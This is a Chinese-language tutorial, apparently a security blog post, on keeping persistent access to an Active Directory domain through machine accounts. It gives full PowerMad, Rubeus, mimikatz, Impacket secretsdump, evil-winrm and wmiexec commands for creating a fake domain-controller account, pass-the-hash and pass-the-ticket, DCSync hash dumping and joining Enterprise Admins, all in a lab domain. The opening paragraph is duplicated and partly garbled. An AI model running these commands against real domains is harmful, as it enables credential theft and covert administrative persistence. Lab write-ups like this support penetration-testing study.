如何使用机器账户进行域维权

Nayon 2022-03-01 10:45:00

0x00 前言

机器账户在许多技术中可以用于提权或横向移动,如使用机器账户的委派进行dcsyn了上述作用,使用机器账户也可进行维权操作。我们可以将任意计算机账户添加到高权限组(例如Domain Admin、Domain Controllers、Enterprise Admins) 或对计算机账户的userAccountControl属性进行修改。使用这两种方式,我们可以通过机器账户在域内进行身份认证(因为密码已知)并进行提权操作,例如Dcsync拖取域内hash。

除了上述作用,使用机器账户也可进行域维权操作。我们可以将任意计算机账户添加到高权限组(例如Domain Admin、Domain Controllers、Enterprise Admins) 或对计算机账户的userAccountControl属性进行修改。使用这两种方式,我们可以通过机器账户在域内进行身份认证(因为密码已知)并进行提权操作,例如Dcsync拖取域内hash。

0x01 userAccountControl说明

默认的情况下,域中的标准用户最多可以创建10个机器账户,这是由ms-DS-MachineAccountQuota进行设定的。我们可以使用Powermad等工具从加入域和未加入域的主机中进行添加账户操作。但为了让机器账户在域中显示为域控制器,我们还需要将userAccountControl属性设置为0x2000(SERVER_TRUST_ACCOUNT)的值。0x2000换算为十进制数字为8192.修改此属性需要域管理员级别的权限。下面我们从ADSI编辑器中进行修改,改为8192
image.png

0x02 PowerMad+Active Directory组合:

添加机器账户

我们在进行维权时,可以从利用工具从命令行创建机器账户。例如Standln、SharpMad以及PowerMad等工具;下面展示如何利用PowerMad在域内添加一个机器账户。

Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount Nayon -Domain attack.local -DomainController dc.attack.local

image.png
此时我们便添加机器账户成功了,利用如下命令查看:

net group "domain computers" /domain

image.png

修改机器账户userAccountControl属性值

我们所创建的这台机器账户primarygroupid经过查询可知是515,他是域组的RID,表示这是一台域计算机,利用Active-Module模块,使用域管权限账户为计算机账户Nayon修改userAccountControl值为8192,则primarygroupid将更改为属于域控制器(可写)的 516。

Get-ADComputer Nayon -pro * | Select-object name, primarygroupid, useraccountcontrol
Set-ADComputer Nayon -replace @{ "userAccountcontrol" = 8192 }

image.png

此处为执行效果。

获得机器账户hash

由于我们已知机器账户的密码,因此我们可以利用它的NTLM 、aes128、aes256 hash 来进行pth,用于获得一个拥有域控制器权限的会话。

利用Rubes将Nayon账户的明文密码转为NTLM hash,用于维权时进行的pth。

Rubeus.exe hash /user:Nayon /password:Password@1! /domain:attack.local

image.png
如图所示,成功拿到了机器账户的hash。

利用方式:

PTH传递获得权限

在域内机器上利用mimikatz进行pth攻击,成功弹回具有Nayon用户权限的新会话。

sekurlsa::pth /user:Nayon /domain:attack.local /aes128:95F9380561068098A673F425207EFA0D

image.png
注意:此处拿到的会话,唯有域用户处于高权限组内才可使用dcsync获得域内hash。

利用PTT获得权限

由于PTH是需要本地管理员权限的,若我们此时连本地管理员权限都没有,我们还可以使用mimikatz自带的ptt功能拿到相应权限。

注意:此处拿到的会话,本人本地测试即使是将机器用户的userAccountConrol属性值改为8192也无法执行dcsync获得域内hash,唯有划入域内高权限组内可以使用机器账户权限执行dcsync。

利用利用Rubes申请拿到机器账户的hash

Rubeus.exe hash /user:Nayon /password:123456 /domain:attack.local

使用keke申请tgt票据,用于下一步的ptt攻击

tgt::ask /user:Nayon2 /domain:attack.local /ntlm:32ED87BDB5FDC5E9CBA88547376818D4

image.png

kerberos::ptt  TGT_Nayon@ATTACK.LOCAL_krbtgt~attack.local@ATTACK.LOCAL.kirbi

image.png
此时成功拿到域内hash

利用impacket套件执行dcsync

使用Impacket套件中的secretsdump.py脚本,结合域内机器账户的凭证拖取域内hash

python3 secretsdump.py attack.local/Nayon\$:'Password@1!'@10.10.10.165 -just-dc

image.png
利用其中的域管NTLM hash与域控机进行通信

Evil-WinRM通过WinRM远程链接

前提是域管开启WinRM服务,默认端口5985

指定域管用户以及域管用户的NTLM hash 远程链接

evil-winrm -i 10.10.10.165 -u administrator -H dbf36575210cc5a38ab4050cc6a2e9aa

image.png

Impacket套件wmiexec.py远程链接

python3 wmiexec.py -hash dbf36575210cc5a38ab4050cc6a2e9aa administrator@10.10.10.165

image.png

加入高权限用户组用以维权

除去域用户之外,域内机器账户也可以添加到高权限用户组中用以维权。利用Active Directory模块查询域管用户所在的用户组。

Get-ADGroupMember "administrators"

image.png

使用域管权限的会话添加机器账户Nayon$到高权限用户组内。

可加入Enterprise Admins、Administrators、Domain Admins等高权限组内用以维权。

net group "Enterprise admins" Nayon$ /add /domain

利用net group查看是否被添加成功

net group "Enterprise admins" /domain

image.png

此时我们便可以使用Impacket中的secretsdump项目获得域内hash

python3 secretsdump.py attack.local/Nayon\$:'123456'@10.10.10.165 -just-dc-user krbtgt

image.png

参考链接:
https://pentestlab.blog/2022/01/17/domain-persistence-machine-account/


评论

Nayon

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

渗透测试 文章:154 篇
二进制安全 文章:77 篇
无线安全 文章:27 篇
PHP安全 文章:45 篇
iOS安全 文章:36 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录